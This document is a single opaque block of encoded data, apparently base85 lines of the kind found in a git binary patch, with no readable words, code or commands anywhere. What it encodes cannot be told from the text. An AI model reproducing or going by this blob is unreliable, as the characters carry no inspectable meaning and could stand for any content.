zrQO_dg#h2Ab|#@*Fb%5Jh{u{}m5E4jkaA~*Q@=&5)0un0I9?_&5bH5Z!-v#zu-<;o zxdf$_Tyq~q+U!QO$va0L41hlPki$Gi(nX5UBiafIK~$->5X!$OiYnE?LwnwSt<m2{ z?0-e{Nb~N320s@RZhRW6keeP7_lKeVjW~5@BVj1GwV=e@2~t{?1i~*%J!O3{;K_L} zUV{>`>M5wvkjomH7DrOJh|%?Ftr&`ufPzC+j3l7d5R7PrJy(_5FD+XW++k8LGtt=M ztSCtg*>A}FNiipnua}bJ(1^hi)aW9hD1At|Mj(_3<I*@EP{KbY`qM%JLUWcKjfK)C zZt`o)u!xmiwMzNWaA1gyb|t}rgz<T{0}{qKCQXq^P};Q0z%~pA5aHLRO>qPlzzTH@ zu*q*U2xS9vF$lSEOd0M_459`Ou<A^oMV!bQ2-_}YACOR`JmTQdirj-kv`s^8<d(!9 z+6p)%^}64C4q~epM=Cu;Bq1wGkpx{h!kt5X%DB?f3Srdf?;Wz&zWu#Bdbe*o>;s2B z^Sft-%4ZoSx$%$C|I%10p+tb>SVQ8zpgeyMsHH6>QtJmonw3UCqLGv;MiQVp15lcD ziu5i_EsIDuuGrtum_$xzyD`_HVP=v>LUv$;X(}0wp9E4M4eXIDf42Ty;2^P?SDFUE zOmrg5iV;Di5LBQ<Sa-4-N$Mu+(=m`}F;o0UPFn|3))1aOg=!WVm>epRNr_+_rw<|l zm0FFVp_C^yiU{@@CG|QY{n|Lp!3n84h$}RIfc<ZhjiPlN)GlBs9t$Ma7<iL5lDJwy z398roA*GU)-88`_nwfb=^%}ML5vGt%gcnE%^XO)4V9p8x_(u_AIHe8dB6}{`0tgg= z(Y<@_<w2Qgk7Fc2Ne!~^2_#g^VS{kLkq0qy1DMXdf|ib_G>d}76u5|h$y80ixKgXs zTKao-{pRNnoqhh?-#ypK6)I3<1Jarn-aaM898~y2XuJkdS`$`5uJz&T0!A}sNeaQU z&>$6cUcL!|TmY2iyk_*lFtu&$b;u>FJ5JvpJhkX!UsyxYchtaj5J*ZwBE@TfC^J_U z@`P7fiU$PTh>U12qZJY^HW1Rt8ek$hvj}(xH)+w1lX{(`MH?brN8>dZM^RLTam2W> z8x#?QNbqnl7puW`p;7sXFv?Q!0y$Vka%_=Ab{Mzpu~+}DofLD%mq8ke2&pUuUT|GT z6vdPmhPal5;S(GD7$x=UprJ5={XM(lO0`mLY1I4aRTE`_b2<IJy-`#lw2u8$+G&y+ z1IpNp*C`N~H2MJ*Z*!j#O6ek^xLRvTP#xkHdW?J#Rn8bIE46A;$Em-#QpN0sl*|rM z#zS7z#2F~Fu%<+kgh+-f5|)W&Y7%L=If4dJwn~%y-@BxkU%jbFLaNg`P^1P0kOgvt zsF!XwTy_FF|7-2GZQIYi@XOEszEi7B5Ihyea;l+mf0*z`gL%{s)JzWqKqXg7c_4V~ zN9kkJO1lVfV@S8EGE;+ip2ToPvMSK}NylFJqaVNLM~7bgA1q#Hcz8mXp&;XnOQf1| z)=b75SR)R7C3vsLG^9$B{@xxTnQ|B)K{=61juH|3S0RNc6@*xb(dh4o5o|Qr7zHBS zl(?!+HfTzWF2@Cup;MSbvdqXxa9$wh8zV9HEv>waR7EPG75I8$OwwL!p={GA0dZVK zw2%o>J4x#_Vt_fku=AKC{Sa0XR7drGV$Wk*U5aIG@Gxxh`+6(2mLy3km1=+QE`*Xw ztu^WIk83SSqc5p9U?pzU`yv8@5~ABW^GR_+xn8gLCH0gPG~w(Oq@6Z(b!eel99QF7 z4Uh`aN;Re~Z&ayP$YF_JfbYJqXD5WbAB1XcT<lh-NdZ8VAn{@#i#~w4Uq_TqkbPK} zj0=({&c@X$<*<pWE!ZM88d%-GYt$iG9s>Xv%^G{kY=fp*7ov2TOBZn*jT3m|3+ept zbr;XS;>rb=oHzH<->u&OCD>Lb5|z$NPX}7+VKiR7(GaOZgc=v@&MBIbx*m|<4eJQw z@C-;$qA{Ne^Orz2?m{4?G31yKLWY4tQ?L6)`zy0fxc&tI4!&e{$H?z}?1D8?*q?3i zVAF);aYf8Orn*VMtOO=Vlu$*k%#a3ZFod2`u%!qHL{dj7=Xi;raHgdshC!k=o*Y5h zFXkr6jCD%E8qI7s$hyVas9o7}=Ae3o%twe@h7673D!>%L)u`5jHCd(F-?KBWw)Ad$ z6A?v`^w(>Hhrw!GZ5g`rt-qlL?)2#I?_>T>y}w@XtqmU5I(Qht<Um|)iK4i_XJ=CH zkK#(bzXxlMz8(_QaQ8mug|rCO`*+2a8g>mD{ixATsf@9Uk@RCPKB-3_N{A|H^!IRb zQ0_xUuu61yjEjPpc1Y?N(yG=5)$9F@dLP}HoE4rLiAKGjQB+haalO%~_w-<`5fl5` zKuD?M6<A<OaKer$xTj;Bl9#H^=;)!C(s&&rw-Sf~8weR4G6#(!DG!5`9I{-C3>lwP z=dT|d|F1`Va^ewJF8DI0@x(NKP~#ziN;xOH+-mRN!i2xNhn&Agd@NVQ$Yp808hsWq zabih7a(`c=(I?5gJQ&ZBpOcXk2;?$m{)eg8{c6@L?Z<!n1xWn=k>CH=1#75p*2oTo zRk(06{V;N30}57pLmy{4pU2TglGl31H9bm4l_N2^M50%g7J#J_C=Vm!(xu@vcFRf5 zi&AJ(r<Nz%kSJXsE-@u3$JL8u00ea;G4*_<R&8yqRBM%%!EqcX0Pc9>wYb)bh$#jr z>F?Q9Z5>h@JZ$h@dn16h{_me!hwV9NuYLB|V^CiM?s(&`Z~yf#JKy?SRH^*)nD@W& zN*AmSstq2BMS9oHzMdV8dM{1R<Ew=*>F=X10}d|w>m)`ebZ_;9<-D-3QKv8-zV>>f z(cjDP2&%_v4mhq<Yb|kHt@rm(eo;K_rP=~HQF?!G4=D#|qz^vE?goXx5vo%aNkbd# z4fOX>rwk=^$g4K7UqO8Ynu4Kl5(y-TkIC_1;>bjCjH9?l0!2!d>X3IIIMz5PoY^;- z5|hBDO4Sr2CXXb0$^P2;UyqOf*P{Ud=bv-N=T4n^?9|h@ZQpL*ax#%Ph^l>m3u5x= ztL`PYo8gUh$hi;RehQ`XcxuVSFFpt%JmgDv-8k}x-vpO^>4-nBI&FIQ`TzBqEsK8j ziG`;g0Kij=Kk)^ybp3*l;2yXi&pP4yO=>?GapvdVb=PP1CvSiK)em2CAHL<|Z~V=C zPQ&%zSA2B-0|-q0=DI6Bnz_e6t~~9O?(_fqGhJ8yV!{=;Q}E|ke)wGUtxaF!#9`My zkI99eJG1MGUrfC6v-k^N`<HXUb?Fzrxe1QB=;0q9Kspow7<1vnKR)2r_g{1`2~A=g z+|tAqhb~CaNC$$@Dk;OrN~OddKt30U8I+`slzchl)6^3M8WAJ0*boF_CE~b|B&>vx z)(+vAqK*_VjJi?Sv&Qv^ah3Eb#8|?r)kdQpS1Q;CsI@fudI#^hcWua!zFpg2|DQir zT3X^tYtpD=k*L?XVrdK+{?4Jp-!XKry+*!o^r&|Y+XbR$e!Ko}TeiIM=dMOy4~gEB zYPE_F-!iCyonHL&s6vNO$=L%O>^1s&X>1l(YY5l;V28X?snNO>3gE*is`vGBnsWr> zD*Z67R9lA(0RZ;y+)hJ%ys&YFhK+meyYHKS`SY$F+X$aGO+7$-QzQ)mk|eIx8Wex2 z*W+51I16=BRa>VSO`3*DP@~b;$410p5TVZSD_%;}AWkdsL?Tl08H?@`jCbJ7LxYle zs1!v)=6OY@!s)D5&{J{`*7riU4tctr|Gjqnza9O7@ndefZpjsku6=avQ(Di41Ry|8 z!HG3XOa09t;opT?(phf!cn4p4{U`t9!W%YVQjBY#|0?+EhcCZB9{uH&H=n-$e_ipB z%kRTac+!pkb?L{kOy0Qh#HF1JKLUQWZ2UzJg3%W|`2F{EeE5?4kb;_k(O)E=&%2M0 zB!lR<@BU`~0Y5(bgm1ryW$eVI&n*B~{M-Edqv)h-*S5bh`^0a*h|v4Ke9x^TzyGoG z??(t7chfTqKJn_0r%$<l!%5d|y5ir#FTOE)&QHOZxex#7J-1;}fGNwLUHI`=e{$-{ z-`Ozv+KpfRDEP&q(R0=$2VeN;T?gFu{)<+RyXfH`Vd1|A0my~_o&<@yMp{|OL9c}8 z#yBRK7Ou0klKenXd82t`#KmR3E=WwfL8SDJqz1&05{0RTrV?3&6(cWCOf?+XB9eh1 zxIG5{qta5Z_hM6=G%B^0D5|s!9opa1)4yYDy}!4=cUOPCzR$Z3IP~BCef=}fz47V` z2wQB5^W#Q_*1^N#YGvPdAF$W3J@y*0=Zi0O*Bkw>ZP`qW9=UgxbxD$X5>?1TvCa|5 zW)LxeqXBuNPCD0tAak6(lGfEBp4Fpu+&pnY>ZxdBm{ftpR=3tVxUaXjPLxXoXav!~ zr3f)yG^+a=G>=A;=#^RvNRmN&?Ad74hwL>XNs_Jq_otn2zeQB4G)NwbNr9q{PI%^! zI=pN?6zNT>_toJ)6XAy<FCa}B;|Q4qifK7%L5VLVi0R0h7oPp~XWP%e<@&1^etqeq zkFP@t+|PKvSv8p2hcqPa4P)}@llqmpKRN!A)%Sd!8tVW2%7^FQkHha<M}Gg~7p$Qm z&2cyW_H*5*pL+H40D=>4diwL-r=N=1bifHWJ@fhQ&(FB}`4h0L6080F(@(v2(+M~J z_VSOD_t!j6?C0cbH=g<GjH%z=$hQ8NdG}LFe|YlsziNM_{dgSn6Sx14kDPaZg3yUK z|NeBs8i3gZ2tnY<%QiuTPF%kJ%q^HxXbK?|nznQ!ARnI5ecDNcz+=ktPE0Yd6wQ6~ zu93HnpNre_$6iEe0_U!#MUxR^`7=?4E!s5s>_Ii1i6Davp^^$k%-7>RS)@KLj>Iqw zo(4x5Jr1SGS@<Wk8iBB}BMmx$QAG?{q~+lhrH)`FsrO<jWgvJ$od_(sgmxAH@b34G zJ>Y#~`cP%_?|!rOudkAP1Uqj;#}GkSX&qXrR$E#I_4n<nwGQ5MzjwX$=RfuKY_IqA zW7&?edtdMEqgsFn1=c&P^s2ufqhho!iVYW{T`HV9JpnZ1KqZ8=_el&I60@i@lF-!Q zfTRI#*zu1mSe<apl{agVfRsS8#NkJS_t>+)x3_o4b{az=g#-W^O2uTTHl6gu<q((m z8nWM7g3rNzK;!(hEs|=57uWyywr$%NUb*Dq$JQxsf@vXWQ#!q%p=zqngT_luhmM`g zXuQ7p0vtQ{kslvG?CR)w4}5<lCi9?f=VUBVnEi%I*Uauy3Ev((iSc$m5BUIbR(?vU zyXUR>{+aLj<M%&5ec5}z`TWdRPMvx~Cym76n0fbq9bA6u)tkV{-~RQi?lX`5*7G1C z^g$~QC$xO@j3+U29{hgl(v66n{nIBe-AH&uPCJ=@NI69!gigE#YloAsLUSMe$pOpX zf6=`FpfPhF{mIB%KXB1%-o8pwad_*nvi2yF%JOLb4^nOdBpZC%se!mIKx~#4?`ece zw=bf0pFZ%26yzqX8yNz%_=lAnvYso}Y1?4^(zO;;Z(zBvwP2-Hso^=WeZ5Iv4~P8; zA{9lomexj6Z}j!o1`Tc*JY>k8Bi?@FwORn2Kx4n_pq+2NhTE7(7dg!v;AoaWg&4-K zv|!XSuCe@l6b%}-XQkF!ZE2zNvT*%v412e4-}dHT`?hb5D=kqa!UM&4&kdVRg!2oK zT0>g<NT#9j+Gi(zBImQjxVSWuWceZ1d?33>%>U(d{*+FahSg-$598rvm540U50xG~ zjapCPHInBElR5)J-Hj;s9&MQe!LJBFpbkg?8=v|0#q$<E^2C$UU@r}KLQ>~!T8Cp4 zeg~5ew)}GW%~VX|Mc6XIxJ&L^efq1HkH2s=rp?2Ad$aGOD|gbZ8)kN&IvEQ&paOr= z(v6hWm)PNr5)uai7&CX?`@Vhk{eTGh9V74f*YoZ_@#be2j{LzHpSt#WeB)ETwW<A; z=_g#b9)W2$K0SL24&xCTJ^#TUv~^(Nhmdmz5wfu5>t}X-=H#ofiaGJ-=ZL}IaN@1& zXLjMsKukN}FGCnjxtVwb%fQ@6etg8*)21$a9*n=_K1NSQX1p=q3yI1dZL~S0*c&b5 z=hP}9-GONGiaV#o8D=!i2q@en>8LCU2DAQZTpbjVID)neqcrH?32XonaXTqn38EMw zi6#KfpYuLqKtcu>SN7R|RHdb5=bNt$-fJ(=0K0Z>YZ*N3&A<Gy-rJWn`f;dC`e+bI z&5|IT&i?_GS{1;Uq~+?I^CPAM<B~d=o{H$~2^?pP*uQPp&RyI8_9rL?&$9TDH1HCo z#bXxUhmy7diHRl+mE=LR4N(D?<|6|&S1!>UC0zKSItzzK(;|NZMP6T_JVkPb#YR8I z-7`L^9sh5?kp~00Xxy)&RT`=mN%lW2<2m-|36DI!PE>0PZYFj5FvX&P+%gp`{QZ$= z)F)SU@VqtO<1}8s1V@17ht6G%#&F@M4{FNt4T71Q3jfrl8zF>DEU}2Hu>Z903TCda zAAG?B<aQ?Cvi_@_nd_Ge4!!Um@{4IVJ~MmE>4cUK5$*FH@Cum}&`Axu@B$<wkIz13 zdFBh4WeiTa<+(GkYp?-~yX0O<N&L!FzXTr#w;nq8UI<C$ja>Psjn0Eoiwo<krU5D` zJWmiOTveJVIAaGXQ0Fv3Jbf>ck@6dk6A|4K)0!61h?O89SN$sm{J7j8s(^&ny;Q1$ zh78;Ho!egfOYgR~38)ThgN8tq^!4;4^?p9#DI#!S%n@%wNUwx8i8QQ`*UUgAsYJ2) zcZ@vbjX!na^c$(*z;Oh}K}jDzh6dQa#npR|4AN+@elAF<BJcql^oQh6bfC2W%}~Qs zY^wmTG+ak%B3y(HQ940fYEo3$e$^g6H*JvA@<4_EfP;Zy5Q^S4DsziyW82eqG-+s# z$}`0&AdsGULO|zT8CK~JD(~G^kCot4X{AWpv(!=0T30`78ey3`c^ZT$k|j%@AZFGe zkm!5>$mHIk)gJ`eR#t5oR)!G~0<|3tXdMAkxu8PutW?qS?n#iyl};S3XDl~t@G@sB zPLX+0cbsi#V%JG$%L2gjRdf(*1SljXY846B2x2}hTY8fEMscM!c+cU3_uBidzy5E1 z*N%iGs~Kemkv)s~(Ltz4DU4-ZT?w7r7cqhj0@uUJ@P9s_-qXAN&A*ajAv&--AyvAZ z6_#8-BeS5j`mC^x)(baS;Ulfd!I~)HS$C>cV>%KxeO`&)<ik6%43kCm9F4{uEYDNS zsuoT$#@jl8totHb7leghsaiMk5y}J!<`l6q)(C1hAoN9~bm?g&pydA#tAsW7Z0oN` z;}W<QQ@EoOMhcKfEvQP%XapGh4N^I0csC5s0Hts?Ovfnl(RV=Vauq|}G)5bF%r26< zcg+lNqWDjuA5_1m(^n`X8AO?fX*5#W=`L}KNmMtnzz(GX=18aQg=t?O3ocSGm-U>n zeoAbv<EUD#_w*9s$2JqwK*6XsXb?_x5k8#lxKO8o5xzv?G^8m-N{_{9AV_%8U_zVf zzbLI7gK0~QMAOz_->X*RO09M9km2v#|E<^lQt#`l_w^(cL1aBX4O#*~^6g|wFUjPQ ztbNS+JlI5b{N*%7LV3{GjBWZ?wKI-*@={y0J_I!_id1-bSaYgrWR7Jpf+G28<0Kn` zn7aKS0|-L{*C;2qWX(fRqVZI<12_1P3%^e7B$MnwbEADa5KQmAM``hi-Xo6^sT_@! zVJ2dRj2v|^%M(eZXpz{=WP>5ul(Amsq(NnaYInJdmJ3Xx&7@949+}>cRarsaG|C&x zI2)%N9`eo*;l(7j_Cf$6y|70Vic6IcY3p*zr=Q4`|BS~1MjA%T`u};)EOQN_h@XM^ zL=h{+P0@$AQfVEwCs7WSdVgP~S^)_4_u@P`YuZ7mcjpe0y#u7pMlkbp*Nl?PXha4H z!{q6}Qkwf<ylznAGl5E{0bw_)#MMDVh7deIimKI0r9!n#rCJ@n&xp5P`)hx1UteGE zj;(JY*4BjK3Q}7UQHO#N;V0~&V=6j=bka$C^xA1_sbHZ45*kXoym%u&ViZ-pI#*%o z%Y7ka8JEiZwkVCzc`wp_2ON@mP)KD}K`7f=nGWp|#eP)yvonM6CC5<ZW6ex@64#ta zRpYdtS+Mjp5KxB4$h;0>v^A4_wRnz}zND=?D$$>4p+<b>nc!bhq=<81(V`R}CBbn{ zissuGuLGh%9`!uZV+!zzGD2b=xCk-^RDNv@+^T^D6qg!Z#2E)s8Y>~L$|ByIowoTw z(TZ#8O-4py?bMByh`mMgmJ~}zX<@J6mx-X-#LRP7ynTo^(&5?|)QGDs5Wsq)AB#9+ zyQm{ki%I%eBSFW2coQCH&JwpzdnMAIWsvI6h@{Obai!5n<SuS89D-ET2){mI^-ZLl z0T;xy4z5-!g9Z&EJ?bsHcI|rmwg01jhp^!h7XF0jqlly?8-&|4CIlA|y$)q09e-w& z!<Lm_P!$kI3@gRlR1L&<>TLR5pX8x*d|G}Y#xw~vz?92=ZKI*6(-2;$Jk(ZmErc0~ zB%U!Xo`;ep!iCL|JhheBx|DMS0SI-D=al4(Q5ez=EE<3bB?9@h_j*I9`2=tV1*lNA zK*<=;B1cxVA3?b*M$KTS0W((kf;E9V%fj2nRU_QoASSD+H$%{FR>mZ>Rm29ZCY89# z=(<RJh`Vb+BchBKh|WYyU?q--Tfu8=6Vl3^NDX`lrPW{B(@%h^k6Gaj4~US~fh#zd zbZZmQQe4W4!#dF8NG1Zt^*;<mK=hju;*fAcgNSFc5PJ|L#YU%wLkJzX72-yQ_V)3i zqmcUP0PzoLauHFD8?ojSvObNJLYZpGM6{NsgTRFWOLzo_tyl~ajw6zNh<jr=H*7>J ze8rq|)?G=oSQHa1fKg*6v?5TDVp1XyUV=%ApzGXPA(_%e_U4U_fCj`;fJH9hq$*os z>)dbTX#5PI+!73d;7Uw{#Z>#4p;FbO%|Dbl<RVJ4A@a|N&pD({4&=OdDIFRV-7X1F z<U+&>Eg)@gk~TaNy{;M|G|h_wwK11_faI#;C}o~bH#j8Ds*>#zat;|@hG>I0uZu_o zfR=K)@?qf2J?4Xquv>ul3Qv;bgf<4b8${VhcnD&HP|-z=dLQq8LnKW_mop|gvm}LD zdEXq(X94abGlof$|5pPz$T9E+M+BgutBXxzj>uN8vwoLIC|({pW9OMh<BT~2cU57= zOHucWI1`!hWq{P-qrjY`V~<rLK%PouMdWcs+T0DuSpabr5ZNcVd{y#3B1)t~*$^qO zITo`jvnNa!u`votI3~sfuoMQ#)x~_?n36^Xf)_}H)5L5y1Y;5}xl76Kr0y*0>m=O! z5<x$bU43~_pD_wB+I*FKIRhoJBqf0F95oJPxEZ)dVIFJ%l?huwDfUjuGyyN(X03FY zE6BF8C{YI6m+Z<CAb}ntk0V%pMfVQmgainw%$X5YL$N~I2UW`_@q%$)D(=@Zj}kHa zpGas53kPT+7LdXmL=6-v1VyCz1vbbL$h|h0E5ORaD$H&(Po5-rBe5_EW7mR=!VN(X zWwk#G43GeJST%@nxf%&l#)PPltpt)&d%zgJC@R4!xM-iUjgOGBB_NQF15=@5B-aa& zsE4pTOH-!FM2SSOEl>$e<i>x&00dL=GRV{chXZA!Ns4DHEXw0<B<nJgrh;&wKtkFi zyG9Ef1=^DG$C0iamcNjO!ALAlNhYJ!0Gx$Pu8A^w_+q%AjQ^QNcghO{HH_Xc)sya# zcfI%hs`zDj|4^1ATp4+4?176Q#~7g0xsy`pg4ExZ=k|diU`H6*pBDLOU4v4wswiML z@j$6rYoT#D<(8HkWPoDY<({Z;iOLSnn5?KXtdA{2Vgx8*A%@D3=TuanP!?k52c3?b zFqW@`XB`rueiJ2?NSgK&BpnVVf*44yV^>YF3<y9b^V0MiUi6|7a+9=5BOSeyN+u@> zk^3N7D=X#dfKVzcLds$y9y%B&XG3*@1&B0~Q<$wuO#?%!ZlTE9=omX&rv#-ek2-;K zN&}h-5#w>za?Vg?G?s{YkmkK-wSeaH8wZnf;fHC{OgeH#<|`%3@~(s4uV0Et9%f4V zvxLc(2s8T7VefzTxs8-N6(E(19A<J+5>f16v^_Y_kAOD$L=dg=)JBvg@rPMO%ciWu zjAxbbUe_dLP(&#yhn&GdNM$7iN-;Oh@j<8%aS6pMIw=)aVuh1l8+4OyNHGv19T|`g z?MZ;rcZ@g$p$SkVXG@u0Nb}L@L6U^=RRO`otB$jyq%`vAjWoC*m;qpA!Ep-VFjJhR zs<4%wn9AAYiM=VsuRKW($sUAU^bSGV-$Z*9A|9CVQZ%^)1Z4(8sT7@RT`e?@Hj{Xs zku*5X7SiX=@RsP(Of0H$*A8px#Z!7=HfaC>K>Ez6w9^}An%`xPh6uoCe*O44U%2G= zozEvJizEG0EM@qj1ot*6OrfpGTR}`d+Z&b4R+ds*kRiF!>{E#XO&Tc1sb`@i#|K}! zdilujA9=wV$+6a|FQf@9ETgWLZ_3FB2oJgR{@c%d5BT|&A35&<iKsti70v{5GO1vy zUQza`LOqNTl;{*+z&)I#y`0bUf>J}iDCS3+wLwPBFUBZ|epsIABWjngiZZqlau$19 z^uniA2%=TVH}<PDg+QI{l4h{@IC+WJ%u$99^!eE^)x%QMOrf%r8w;WA;5=kuF|*I( zPRm0wGtYgJd}#w;`eg_+)=R4UQL+Q@-3J|JnV_02p#mVS2@yLHiGDy%e~uF#8-M%c zw(Z+5_|jLNUB6M)-;r$76#9DdA4f~CQTTTxHD+W)OaY-tl}9kja21f-IC1I5uY833 z^S{3O;raLCvi<WP{N4;YmiMVeM_%w?1mVG7UU~D#J11Q5AB^UOm1Gb=i1IXO<UfK$ zjiKsL5u33W-L>+7AB>svAk-71kybPbfC~2}z*OpotW(-`4<4gms8PpIQ<4}uGdRmN z-`s*Ono|8LY)D!uVOl5!g{Kws$}_|Z-FT5KTR@h~k_ZfuxoW{f{+ZV;RU@UP<0*fn z84pvF;ZO>^ps9)ts)MZ}N%~P%aqGi{5@R8rVb}@Or=bfXRFpDaLZ!}HVL+AV?Wn~a zTCN?w>!1&q%WSj(w_>~`%GMFkxHg82+XFxT&i{V=;>*5%<${Ze{BIDQ5tInYqz>5= zZ0UO=h{<Os7{ov<$@yoLx-c!UQIzfEt2UhR$5W@>^n7|B$KCkfmx3inVdjq$7XSWo z@U@RFTn*lP$=x@P{J~KdJV@f|gpF_$b&5!eK?(T`9!AF4+7qd!k?-xP*FD+($~lDL z>yR(6zP0W9A3Ohnw3a;OSCOWyb8kXbl#;kegu9a8i8xq|Xjx8!HTTlgG)%eeEiSaw zX3eLeFr0z0&O^!FNu3Cak`T&3QA@|r2$te9#ELNGA!8MTNF5Dqaq{KXb$!kU5ZQ9A zPL3D4WQptKmRKk+4wJDcJq7<}q+qS8{6oD`7Acfb>Qx!t6XOs$q)wF3NV+LBF7~Gi z7EtNXg#W<t{N7W4L2@>c>{_t7moh-eG;SoQV+ffq=={&e#{b(VKRMxJS1$O{1s5-T z_PO<3QN_Fu6mmZxk_}o*|C>R=zXP?>3OFb?LqRc%PU<RTaM$}Txn}`b__=Fdh$ty7 zmfFg3H$3&xC;olm{rGp2ZurHFEoZlXYtwr#zU#YfKR#j3&rl@NusHA5N8;mHw9Ha! zMCNqh84(arW2@#`PP*o?_E*k3{suztxAK;e-#_yFH7G45NT&uHDl}p0Umz8nP1J3Q zH1vnLA|yG_vT;!D2#|LU<cSVrU69nfD?kdQ33C*sKq=(8K-^|Wh^sU6>l0emLUnfp zwTbDe+0;hPo2Gqnc1cc2DAmBTQg-N?#-IqiS~e%EV*rH)(Q4I^{mAm1oCZKf!Z<62 z=Tq9pU|emW6O>1ZCs{26_iGyqQtyaoeR-vX2uB%7kL>BmtB*6&72Z~XUmJe2cHD<2 z0+5`4_RP<pHtmxqowjY;4k$GRWpG=zaa)sZK}<f_?H4sj*eaiR%hR9Rvgp@GF2p|k zQ%jEdBK*d4m;EaM;MKdnaN>7ff(M_o=1TDMKc4b=!ngJ6-E*dV_oXPVj5+_-#qipx zH~t|y;fmjW>_0#Jm307(y6Dbp-t&`FE_wujgHB(4<K+E+eccDX{4-p69zjA8k9EQL zFRfbnIYAt9+5PxAOuF$mmkNfjul@U1?uTINHIH8L5fj7LwC?kN^Vuzne*Fo0!HYhA zK3cYcge0&0Xx8!9Z32{T<Qu;_@+*XN?Cbx2KDcJXS3gR=(0=@NFMu&${Es`|v*PeC z<CaDI{s8h`#wA#38m%Fdo0if}a${X6l6(OqBUss4%jszHDCR7kY>Ez_JAyQ#R9dIk z5Vf(oy~_;!RBO$Z8jXkseqx}#Hrv`Z6v`1$0JS|*Bw|wkKQaz@gOY!4nkkxa#@4iR zEJegb2m`WXr6kp0LPZf${1=g3k(-V6OMU04u>@{Oq}ehllNS`|cXo9cGf~XvoyJfq z+n~aK*!#!bblsA#F8bDEl*UWc<jEA#X|pFje{18dAmQKMAE9)tQxwHhZhm^+$N#wU z(=%?}aKfU_1^)(q{mu7Z@(4QkoCj~;zvH6|9yoFF?=Sn;Uo4&Ug*Ekf{Q37U|JPrf zf5G)HB%{x}`OfL@Vj_9ZmuIZ_pL*ZB=l<ZE2mE;Q7n6n0&U@GQPd{~OXM<C$@^+DN z7d`ruk+&W8rTb#hQgZxFPhU3j$LE~z?U$lTH9BF@vzNiIANln)Q8anUnloR$aLRXI z1j&0Z{>gVo{@|$df0_U=>Bj#goMO{&!kl6Y{tf(U*|@n6!ZBZX@ca9(_?JuWhbP?l zo6A1_$Gc9O_T3F9UcKQf9|ga>YW&6j0Y-m;kc(Y<AA2(o3%~e~PlsnC<I;>$0_2G% zTEaHnG8$lo<Wvbz_nFc=5JgZ0qUdv>N=Fc`35rnG_hOuZrk08VrBNA*)_SFQUo@3u zkTy9zZmxw#jw+N)2L%U}P-ZZeTzjkGIFdijXPk-#Hz*ja&9ioGtRbS!R;ja*Q`BZ( zf`BjY8Z{OP+=b?Zk_=;)Oj!%1X>+86f)F#{I%wwelOJ^c_hYA@Gxx@CE&A%>>mFbC z3sLa`<g~3`cm`y*KY+$d6hh-GnX>%Z)4NYU?b=N-mc!qEw)>3FUAqYpzRk~cpYiEy z-h1_iGhaPz+Kn4f14h-U-+HqBmDwjea@2$0|HxBkopJT^2|y(NUv%X8_mBGWy|=f$ z`s+`83@tqDqI+mnDVTiAb6+8C{C~Uy^KDGNW&Kx<1b@8aGt-uBBKL99b(?0sGJVRo zHxO1j7>&8~o?F^}e8Sv^<H<`NIP;GepM2ws2)uXh55GO~2cJCur;P|4_nlv#wq+&> zL*Q{Y{`%A1XPt5FrUao+-S}Uh*>c9GuYUfxn|@1(#x?-}Pq^tfpWkxEY1eE52pmt| zfBG6gsR!p{ior2oc<_6ahA>G|xLa;$&eVzmc^06YlUDnR)#81WmQ<#OnU0Y_DdfRw zDMjrnA58;k{TrK@!ujLU>0KZ#<78wtreZcIv5zW^q!60K*M$2bqpuC+MX;ifO1@tz z?@Ff)LnB0)A~;<9wX7KedV~**B{eXObc{pKZOS6O%y*3%3sQb=DCIkZeoE&eYG=Tc z&+wqah!Mp`-1UN>^Vg4V+rIsZ#ou~t-7nK5Kg??PNb+MarX&DAPvOU@KFq<yCjvsj zhlQCiFd5#br!CuvFh$pMXLM0YoTcE)ldtb2cR204zdfh>^ozlw)g!-m@E6w5dz^OT z?`CiL{4v)g^B?@tOz`R}2Y|JhW{(sCAfPg$(T6a4-cRqG`5vMI4!-V%nXjBO<@$|m zKaQFIz?ER(sViHKJYx2e&vair?Ut7TI&kit-+IrFj+?WlAHYw2`<JI~nfbYEUyJ}? z!vD<|5CEV0&aXec<*d(Lv+1}S|MN3j&ipJ9{^PMmVDFE+@xMO1W#(tELFW^JC;Xy> zgLK8eeEHra;bo+0399(7253RG1VhAtGKe7XuCy|T<PSjui3}q$G@GUr9-^R#icNz8 zC4f&yBH1*=M|ug@9f_$5ne=k%L_(#{6+*ex5=rwgp<0lVIur^FmV$7qGa!wAk&1Cu zw+TvZ^BiJC*<64a9tQwS8^Ki}hkE)CL7;H<%aAF`!j?9EF)4V${rt42iMMbH+?3l3 zr~uB1s7E0NAJUR<&g8|P*t5TU=+dt)d2H=3`0T4lN?0SPC9g%DaDrOuZv`>=Y_Ai# z$V6bvf*VJE4<Vd#3swXtFWWd~-h+2eeDd^TuH6X7Ui`>Uj#zuzl%?R}NALQ?TFUK% zd49eIzIxc~`^L<F@JE>c=cS7uz3a2xUp;*G{Rm1FY>eUSpzD|24?%=!0!Q8PZ|6QR z`Ig^ZKJtfWO}g#{e1ns(*);Q&X~%!_&-)+r>8tNLx$Emwzx@nC2VR7Qf6@gH^g=L+ z3i&r*h!B|c-CuwDm9x(L=8F)aW54_BPj6{I^V&`1%~_{ki#5U|`u-a7{>EQ_rhDe+ zt^wyic*jS7e#U86Kc9@b@a~nLd-W?H{L($b8)5}FX}zfdVOA8GRtK6Wz&piI<CwRI z5H_89FF+>i3Y8=-N)=0@__+$v0MwdD`AJ2u5khMBxEMNy(jgXfLy3{s&<EsG3h5<i zLtiMV+(ob3m2W~+4OwdS)Df;o9^ar%>XHHn!~L)_&5ZkyY4$ZZF{GuJ1l}-;6jvqT zBibW1;z}njMXbJ@`*m{C`I8flAd(Lxy(=0g(ikU=C;3hl6MI59{A8?kibRz;g;R7T z08Aysc>MGAS5OA7C$W%|>zR7P3tvBi9^%O>K6Ks#ShDA>xpU<0AD(?bh~VU#pIvw) z_|<~<&s{CD9>k7K`|fWU!`CksjlS?_q%Q1)8=t=H6YP3^weYZu?;#I*`i;Mx{nyJ* zS-v@`_Z>3(mLJS`7x<t1K66^vdA~fZ8w-D2Z8`C}b*H>?&e_+!1e3<mIO%ZC%x`Tv z_J&`a_R2YDed`5;z_B+xb=sC$XMXDi&`6FUZo=oT*^rE$^CJp6zVeG-fg=E>_fHG+ z8X!fRkzPiwC6N@bGA&b03jtU&5gXi28dVckqMx#l=$s5lo|4KWKV~fqvNxLXlabUF zixA3s6T|?;F7_%U^GART{N^g5ORco(&mg@d*M`o4bZj(d&O@1|pxjCI!1-6+d?;ZD z&>;3ua<FL^2}k?Wa(E`!ayvR*5!$lGUG*rX1QDOe{Wb>uBeOfBw7x{*WT0gNE&XqY 